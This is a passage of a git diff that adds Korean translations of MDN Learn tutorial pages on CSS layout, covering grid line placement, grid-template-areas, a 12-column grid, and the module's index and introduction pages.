+<p>이제 우리는 그리드를 만드는 것에서 그리드에 사물을 배치하는 것으로 넘어간다. 우리의 그리드에는 항상 라인이 있으며, 이 라인은 1에서 시작하며, 문서의 쓰기 모드와 관련이 있다. 따라서 영어에서는 열 라인 1은 그리드의 왼쪽에 위치하고 행 라인 1은 맨 위에 있습니다. 아랍어 열 라인 1은 아랍어가 오른쪽에서 왼쪽으로 쓰여지기 때문에 오른쪽에 놓이게 됩니다.</p>
+
+<p>시작 라인과 끝 라인을 지정하여 이러한 라인에 따라 사물을 배치할 수 있다. 다음의 속성을 사용하여 그렇게 할 수 있다:</p>
+
+<ul>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+</ul>
+
+<p>이들 속성은 모두 라인 번호를 값으로 가질 수 있습니다. 약칭 속성을 사용할 수도 있습니다.</p>
+
+<ul>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+</ul>
+
+<p>이를 통해 시작 라인과 끝 라인을 한 번에 지정할 수 있으며, 전진 슬래시인 <code>/</code> 문자로 구분한다.</p>
+
+<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/8-placement-starting-point.html">착수 파일로 이 파일을 다운로드하세요</a> 또는 <a href="https://mdn.github.io/learning-area/css/css-layout/grids/8-placement-starting-point.html">여기 라이브로도 보세요</a>. 이미 정의된 그리드와 윤곽이 잡힌 간단한 글이 있습니다. 자동 배치에 의해 항목들이 우리가 생성한 그리드 무리의 각 셀에 하나씩 배치하는 것을 볼 수 있습니다.</p>
+
+<p>대신 그리드 라인을 사용하여 우리 사이트의 모든 요소를 그리드에 배치합니다. 다음 CSS 규칙을 당해 CSS의 맨 아래에 추가세요:</p>
+
+<pre class="brush: css">header {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 2;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 3;
+  grid-row: 3;
+}</pre>
+
+<div id="격자_6">
+<div class="hidden">
+<h6 id="라인_기반_배치_2">라인 기반 배치</h6>
+
+<pre class="brush: css">                body {
+                    width: 90%;
+                    max-width: 900px;
+                    margin: 2em auto;
+                    font: .9em/1.2 Arial, Helvetica, sans-serif;
+                }
+
+                .container {
+                    display: grid;
+                    grid-template-columns: 1fr 3fr;
+                    grid-gap: 20px;
+                }
+header {
+    grid-column: 1 / 3;
+    grid-row: 1;
+}
+
+article {
+    grid-column: 2;
+    grid-row: 2;
+}
+
+aside {
+    grid-column: 1;
+    grid-row: 2;
+}
+
+footer {
+    grid-column: 1 / 3;
+    grid-row: 3;
+}
+
+header,
+footer {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+
+aside {
+  border-right: 1px solid #999;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;header&gt;이것은 나의 사랑스런 블로그입니다&lt;/header&gt;
+  &lt;article&gt;
+    &lt;h1&gt;내 글&lt;/h1&gt;
+    &lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside&gt;
+    &lt;h2&gt;Other things&lt;/h2&gt;
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.&lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;footer&gt;Contact me@mysite.com&lt;/footer&gt;
+&lt;/div&gt;               </pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_6', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 마지막 열 또는 행 라인을 상대로 <code>-1</code> 값을 사용할 수 있으며, 음수값을 사용하여 끝에서 안쪽으로 카운트할 수도 있습니다. 그러나 이 값은 명시적 그리드에만 통합니다. <code>-1</code> 값은 암시적 그리드의 마지막 라인에 적용하지 못합니다.</p>
+</div>
+
+<h2 id="grid-template-areas로_위치잡기">grid-template-areas로 위치잡기</h2>
+
+<p>그리드에 항목을 배치하는 다른 방식은 {{cssxref("grid-template-areas")}} 속성을 사용하여 당신의 디자인에 딸린 다양한 요소에 이름을 지정하는 것입니다.</p>
+
+<p>마지막 예제에서 라인 기반 위치잡기를 제거하고(또는 예제 파일을 다시 다운로드하여 새롭게 시작하거나), 다음 CSS를 추가한다.</p>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-areas:
+      "header header"
+      "sidebar content"
+      "footer footer";
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
+
+header {
+  grid-area: header;
+}
+
+article {
+  grid-area: content;
+}
+
+aside {
+  grid-area: sidebar;
+}
+
+footer {
+  grid-area: footer;
+}</pre>
+
+<p>페이지를 새로고침하면, 우리가 어떤 라인 번호를 사용할 필요없이 방금 전과 같이 항목이 배치되었음을 알 수 있습니다!</p>
+
+<div id="격자_7">
+<div class="hidden">
+<h6 id="라인_기반_배치_3">라인 기반 배치</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+header,
+footer {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+
+aside {
+  border-right: 1px solid #999;
+}
+
+.container {
+  display: grid;
+  grid-template-areas:
+  "header header"
+  "sidebar content"
+  "footer footer";
+  grid-template-columns: 1fr 3fr;
+  grid-gap: 20px;
+}
+
+header {
+  grid-area: header;
+}
+
+article {
+  grid-area: content;
+}
+
+aside {
+  grid-area: sidebar;
+}
+
+footer {
+  grid-area: footer;
+}
+                </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;header&gt;이것은 나의 사랑스런 블로그입니다&lt;/header&gt;
+  &lt;article&gt;
+    &lt;h1&gt;내 글&lt;/h1&gt;
+    &lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside&gt;&lt;h2&gt;Other things&lt;/h2&gt;
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.&lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;footer&gt;Contact me@mysite.com&lt;/footer&gt;
+&lt;/div&gt;                     </pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_7', '100%', 400) }}</p>
+
+<p><code>grid-template-areas</code>에 대한 규칙은 다음과 같다.</p>
+
+<ul>
+ <li>그리드로 이뤄진 전체 셀을 채우도록 해야 합니다.</li>
+ <li>두 개의 셀을 합치려면 해당 이름을 반복하십시오.</li>
+ <li>셀을 비우려면 <code>.</code>(마침표)를 사용하세요.</li>
+ <li>영역은 반드시 직사각형이어야 한다. 예를 들어 L자 모양의 면적을 취할 수는 없다.</li>
+ <li>영역은 다른 위치에서 반복될 수 없습니다.</li>
+</ul>
+
+<p>우리의 레이아웃을 마음대로 부릴 수 있습니다. 예를 들어, 콘텐츠와 사이드바 아래에만 위치하는 바닥글을 맡바닥까지 확대 점유하도록 변경할 수 있다. 이것은 CSS에서 정확히 무슨 일이 일어나고 있는지 있는 그대로 명백하게 레이아웃을 설명하는 매우 멋진 방법입니다.</p>
+
+<h2 id="CSS_그리드_그리드_프레임워크">CSS 그리드, 그리드 프레임워크</h2>
+
+<p>그리드 "프레임워크"는 대략 12 또는 16개의 열 그리드를 기반으로 하는 경향이 있으며, CSS 그리드도 포함하므로, 그러한 프레임워크를 발휘하기 위해 제 3의 타사 도구가 필요하지 않다. 이미 CSS 규격에 포함되어 있기 때문이다.</p>
+
+<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/11-grid-system-starting-point.html">착수 파일을 다운로드하세요.</a>. 여기에는 12개의 열 그리드로 정의된 컨테이너와 이전 두 예제에서 사용된 것과 동일한 마크업이 포함되어 있습니다. 이제 라인 기반 배치를 사용하여 우리의 콘텐츠를 12열 그리드 상에 배치할 수 있습니다.</p>
+
+<pre class="brush: css">header {
+  grid-column: 1 / 13;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 4 / 13;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1 / 4;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 13;
+  grid-row: 3;
+}</pre>
+
+<div id="격자_8">
+<div class="hidden">
+<h6 id="CSS_그리드_그리드_시스템">CSS_그리드_그리드_시스템</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: repeat(12, minmax(0,1fr));
+  grid-gap: 20px;
+}
+
+header {
+  grid-column: 1 / 13;
+  grid-row: 1;
+}
+
+article {
+  grid-column: 4 / 13;
+  grid-row: 2;
+}
+
+aside {
+  grid-column: 1 / 4;
+  grid-row: 2;
+}
+
+footer {
+  grid-column: 1 / 13;
+  grid-row: 3;
+}
+
+header,
+footer {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+
+aside {
+  border-right: 1px solid #999;
+}
+                </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;header&gt;이것은 나의 사랑스런 블로그입니다&lt;/header&gt;
+  &lt;article&gt;
+    &lt;h1&gt;내 글&lt;/h1&gt;
+    &lt;p&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+  &lt;/article&gt;
+  &lt;aside&gt;&lt;h2&gt;Other things&lt;/h2&gt;
+    &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.&lt;/p&gt;
+  &lt;/aside&gt;
+  &lt;footer&gt;Contact me@mysite.com&lt;/footer&gt;
+&lt;/div&gt;
+                        </pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_8', '100%', 400) }}</p>
+
+<p><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">파이어폭스 그리드 검사기</a>를 사용하여 당신의 디자인 상의 그리드 라인을 겹쳐놓으면 12개로 구성된 열 그리드가 작동하는 방법을 볼 수 있습니다.</p>
+
+<p><img alt="A 12 column grid overlaid on our design." src="https://mdn.mozillademos.org/files/16045/learn-grids-inspector.png" style="height: 1026px; width: 2028px;"></p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이 개요에서 우리는 CSS 그리드 레이아웃의 주요 특징을 둘러 보았습니다. 당신의 디자인 상에 사용할 수 있도록 합시다. CSS 규격에 대해 더 자세히 살펴보려면 그리드 레이아웃에 대한 안내서를 참조하십시오. 아래를 보면 찾아 볼 수 있습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout#Guides">CSS_그리드_안내서</a></li>
+ <li><a href="/ko/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">CSS 그리드 검사기: 그리드 레이아웃을 검사</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">그리드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9C%84%EC%B9%98%EC%9E%A1%EA%B8%B0">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EB%B0%98%EC%9D%91%ED%98%95_%EB%94%94%EC%9E%90%EC%9D%B8">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EB%AF%B8%EB%94%94%EC%96%B4_%EC%BF%BC%EB%A6%AC_%EC%B4%88%EB%B3%B4%EC%9E%90_%EC%95%88%EB%82%B4%EC%84%9C">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">레이아웃 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/index.html b/files/ko/learn/css/css_layout/index.html
new file mode 100644
index 0000000000..b184282450
--- /dev/null
+++ b/files/ko/learn/css/css_layout/index.html
@@ -0,0 +1,76 @@
+---
+title: CSS 레이아웃
+slug: Learn/CSS/CSS_layout
+tags:
+  - 가변상자
+  - 격자
+  - 다단
+  - 단위
+  - 부동
+  - 부동체
+  - 씨에스에스
+  - 안내서
+  - 위치잡기
+  - 조판
+  - 초보자
+  - 테이블
+  - 학습
+translation_of: Learn/CSS/CSS_layout
+---
+<div>{{LearnSidebar}}</div>
+
+<p>이 시점에서 우리는 이미 CSS 기본 사항, 텍스트 스타일링 방법, 콘텐츠가 안에 있는 상자를 스타일링하고 조작하는 방법을 살펴 보았습니다. 이제 뷰포트와 관련하여 상자를 올바른 장소에 배치하는 방법을 살펴볼 때입니다. 우리는 필요한 전제조건을 다루었기 때문에 이제 CSS 레이아웃에 깊이 뛰어들어 다른 디스플레이 설정, 플렉스박스, CSS 그리드, 포지셔닝과 같은 현대적인 레이아웃 도구, 그리고 당신이 여전히 알고 싶어할 만한 레거시 기술들을 살펴볼 수 있다.</p>
+
+<h2 id="선결사항">선결사항</h2>
+
+<p>이번 단위를 시작하기 전에 여러분은 이미 아래 내용을 익혔어야 합니다:</p>
+
+<ol>
+ <li><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 단위에서 논의했듯이 HTML에 대해 기본적인 친숙도가 있어야 합니다.</li>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a> 단위에서 논의한 만큼 CSS 기본 사항에 대해 부담이 없어야 합니다.</li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes">상자 스타일링</a> 방법에 대한 이해가 있어야 합니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 여러분은 본인만의 파일을 생성할 능력이 없는 컴퓨터/태블릿/다른 장치에서 작업하고 있는 경우, <a href="http://jsbin.com/">JSBin</a>나 <a href="https://thimble.mozilla.org/">Thimble</a>과 같은 온라인 코딩 프로그램 상에서 코드 예제를 시험해볼 수 있다.</p>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<p>이 글은 CSS에서 이용할 수 있는 기본 레이아웃 도구 및 기술에 대한 지침을 제공합니다. 단원 말미에 웹페이지 하나를 예시하는 방식으로 레이아웃 매서드에 대한 이해도를 자가 점검하는데 도움이 되는 학습 평가가 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 입문서</a></dt>
+ <dd>이 문서에서는 이전 모듈에서 이미 다뤘던 CSS 레이아웃 기능, 예를 들어 서로 다른 {{cssxref("display")}} 속성값의 차이 등을 복습하고, 이번 모듈에서 다룰 예정인 몇몇 CSS 개념을 소개합니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></dt>
+ <dd>웹페이지의 엘리먼트 무리는 여러분이 무언가 변화를 주기전까지는 <em>normal flow</em>(일반 대열)에 따라 또래 엘리먼트들을 배치합니다. 이 글은 일반 대열을 설명하는데, 그 걸 토대로 일반 대열 자체를 변경하는 방법을 배우겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></dt>
+ <dd><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/%EA%B0%80%EB%B3%80%EC%83%81%EC%9E%90%EC%9D%98_%EB%8C%80%ED%91%9C%EC%A0%81%EC%9D%B8_%EC%82%AC%EC%9A%A9%EB%A1%80">Flexbox</a>는 행과 열의 형태로 항목 무리를 배치하는 일차원 레이아웃 메서드이다. 항목은 부족한 공간에 맞추기 위해 축소되거나 여분의 공간을 채우기 위해 변형된다. 이 글은 근간이 되는 내용 전체를 설명한다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">그리드(Grids)</a></dt>
+ <dd>CSS 그리드 레이아웃(Grid Layout)은 웹페이지를 위한 이차원 레이아웃 시스템입니다. 이 기능을 통해 콘텐츠를 행과 열에 배치할 수 있으며 복잡한 레이아웃을 직접 직관적으로 구축할 수 있는 많은 기능이 있습니다. 이 글은 페이지 레이아웃을 시작하기 위해 필요한 모든 것을 알려드립니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></dt>
+ <dd>원래 텍스트 블록 내에서 부동 이미지를 위한 {{cssxref("float")}} 속성은 웹 페이지에서 다단 레이아웃을 생성할 용도로 가장 널리 사용되는 도구 중 하나로 자리매김했었습니다. Flexbox와 그리드의 출현과 함께 부동 속성은 이 글에서 설명하겠지만, 원래의 목적대로 돌아갔습니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></dt>
+ <dd>당신이 일반 문서 레이아웃 대열에서 엘리먼트를 끄집어 내어, 그것이 다르게 행동하게 만들수 있게 해주는 것이 위치잡기다. 예를 들어 상대 엘리먼트 위에 놓거나 브라우저 뷰 포트 내부의 동일한 위치를 항상 유지하게 해준다. 이 글은 서로 다른 {{cssxref("position")}} 값을 설명하고, 그 걸 사용하는 방법에 대해서도 설명한다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></dt>
+ <dd>CSS 다단 레이아웃 규격은 신문에서 볼 수 있듯이 콘텐츠를 단으로 배치하는 방법을 제공합니다. 이 글은 그 기능을 어떻게 사용하는지 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/%EB%B0%98%EC%9D%91%ED%98%95_%EB%94%94%EC%9E%90%EC%9D%B8">반응형 디자인</a></dt>
+ <dd>웹 기반 장치에 다양한 화면 크기가 등장함에 따라 반응형 웹 디자인(RWD) 개념이 등장했습니다. 말하자면 서로 다른 화면 너비와 해상도 등에 맞게 웹 페이지가 레이아웃과 모양을 변경할 수 있는 일련의 실례를 집대성한 것입니다. 이 아이디어가 우리가 멀티 디바이스 웹에 대한 설계 방식을 바꾸게 만든 장본인입니다. 이 글에서 우리는 그 내용을 숙달하기 위해 당신이 알아야하는 주요 기술을 이해하도록 도울 것입니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></dt>
+ <dd><strong>CSS Media Query</strong>는 예를 들어 "뷰포트가 480 픽셀보다 넓다."라고 여러분이 지정한 규칙에 브라우저 및 장치 환경이 일치하는 경우에만 CSS를 적용할 수 있는 방법을 제공합니다. 미디어 쿼리는 반응형 웹 디자인의 핵심 부분이다. 뷰포트의 크기에 따라 서로 다른 레이아웃을 생성할 수 있기 때문이다. 그러나 예를들면 사용자는 마우스가 아닌 터치스크린을 사용하는지와 같이 실행 중인 사이트 환경에 대한 여러 내용들을 탐지하는 데도 사용할 수 있습니다. 이번 단원에서는 먼저 미디어 쿼리에 사용된 구문에 대해 배우고, 이어 해당 구문을 가공의 예제에서 사용하여 간단한 디자인이 어떻게 반응할 수 있는지 살펴보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 레이아웃 메서드</a></dt>
+ <dd>그리드 시스템은 CSS 레이아웃에서 사용되는 매우 일반적인 기능이며, CSS 그리드 레이아웃(Grid Layout) 이전에는 부동체 또는 기타 레이아웃 기능을 이용하여 그리드 레이아웃(Grid Layout)이 구현되는 경향이 있었습니다. 자신의 레이아웃을 정해진 수의 열(예를 들어 4, 6 또는 12열)이라 상상한 뒤 여러분의 콘텐츠를 그 가상의 열 안에 콘텐츠 열을 끼워맞춥니다. 이 글에서 우리는 이 오래된 메서드가 어떻게 작동하는지 탐구할 것입니다. 이는 여러분이 오래된 프로젝트에 몸을 담게 될 경우에 그들 메서드의 사용 방법에 대한 이해를 돕기 위함입니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></dt>
+ <dd>
+ <p>이 단위에서는 Flexbox 및 그리드를 여러분의 웹디자인을 위한 주 레이아웃 방법으로 사용할 것을 권장합니다. 그러나 이전 브라우저 또는 당신이 사용하는 메서드를 지원하지 않는 브라우저를 사용하는 사이트 방문자가 있습니다. 이런 일은 웹상에서 항상 있는 일입니다. 즉 새로운 기능이 개발됨에 따라 서로 다른 브라우저가 서로 다른 것들의 우선 순위를 정합니다. 이 글은 구식 기술의 사용자들을 차단하지 않고 현대적인 웹 기술을 사용하는 방법에 대해 설명합니다.</p>
+ </dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">학습 평가: 레이아웃 이해의 핵심 사항</a></dt>
+ <dd>웹페이지를 하나 예시하는 방식으로 서로 다른 레이아웃 메서드 지식을 테스트하는 학습 평가</dd>
+</dl>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">위치잡기 실례</a></dt>
+ <dd>이 글은 위치잡기로 당신이 할 수 있는 일의 종류를 설명하기 위해 실제 사례를 구축하는 방법을 제시합니다.</dd>
+</dl>
diff --git a/files/ko/learn/css/css_layout/introduction/index.html b/files/ko/learn/css/css_layout/introduction/index.html
new file mode 100644
index 0000000000..aaf42a6979
--- /dev/null
+++ b/files/ko/learn/css/css_layout/introduction/index.html
@@ -0,0 +1,720 @@
+---
+title: CSS 레이아웃 입문서
+slug: Learn/CSS/CSS_layout/Introduction
+tags:
+  - 가변상자
+  - 격자
+  - 글
+  - 대열
+  - 부동체
+  - 씨에스에스
+  - 위치잡기
+  - 입문서
+  - 조판
+  - 초보용
+  - 테이블
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">이 문서에서는 이전 모듈에서 이미 다뤘던 CSS 레이아웃 기능, 예를 들어 서로 다른 {{cssxref("display")}} 속성값의 차이 등을 복습하고, 이번 모듈에서 다룰 예정인 몇몇 CSS 개념을 소개합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML의 기초 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML에 대한 소개</a>)와 CSS 작동 방식에 대한 개념(<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>CSS 페이지 레이아웃 기술에 대한 개요를 제공합니다. 개별 기술은 후속 자습서에서 보다 자세하게 학습할 수 있습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>CSS 페이지 레이아웃 기술은 웹페이지에 포함될 요소들을 취합할 수 있게 해주며, 그들 요소가 일반 레이아웃 대열 상에 기본값 위치 기준과 부모 컨테이너, 또는 메인 뷰포인트 및 메인창과 비례해 어느 위치에 놓일 것인지를 제어한다. 우리가 이번 모듈에서 자세하게 다룰 페이지 레이아웃 기술은 다음과 같다.</p>
+
+<ul>
+ <li>보통 흐름(normal flow)</li>
+ <li>{{cssxref("display")}} 속성</li>
+ <li>flexbox</li>
+ <li>그리드</li>
+ <li>Floats</li>
+ <li>포지셔닝</li>
+ <li>테이블 레이아웃</li>
+ <li>다단 레이아웃</li>
+</ul>
+
+<p>각각의 기술은 저마다 용도가 있고, 장단점이 있으며, 어떤 기술도 독립적인 용도를 갖추도록 설계되지는 않았다. 각 메서드가 어떤 용도로 마련된 것인지 이해하게 되면 해당 작업에 가장 적합한 도구가 어떤 것인지 파악하는 데 유리한 입지를 점하게 된다.</p>
+
+<h2 id="보통_흐름normal_flow">보통 흐름(normal flow)</h2>
+
+<p>보통 흐름(normal flow)은 당신이 페이지 레이아웃을 전혀 제어하지 않을 경우 브라우저가 기본값으로 HTML 페이지를 배치하는 방법을 말합니다. 간단한 HTML 예를 살펴봅시다:</p>
+
+<pre class="brush: html">&lt;p&gt;나는 고양이를 사랑한다.&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;고양이 먹이를 사세요&lt;/li&gt;
+  &lt;li&gt;운동&lt;/li&gt;
+  &lt;li&gt;기운내 친구야&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;여기가 끝!&lt;/p&gt;</pre>
+
+<p>기본적으로 브라우저는 이 코드를 다음과 같이 표시한다.</p>
+
+<p>{{ EmbedLiveSample('일반_대열', '100%', 200) }}</p>
+
+<p>소스 코드에 나타나는 순서 그대로 HTML 요소가 표시되는 방법에 주의하자. 요소가 상대 요소의 상위(上位)에 차곡 차곡 올려진다. 즉 첫 번째 단락이 나오고 순서가 없는 목록이 이어지고 두 번째 단락으로 이어진다.</p>
+
+<p>요소 집합이 상대 요소 바로 아래 나타나는 것을 <em>inline</em> 요소와 대비해 <em>block</em> 요소라고 기술한다.</p>
+
+<div class="note">
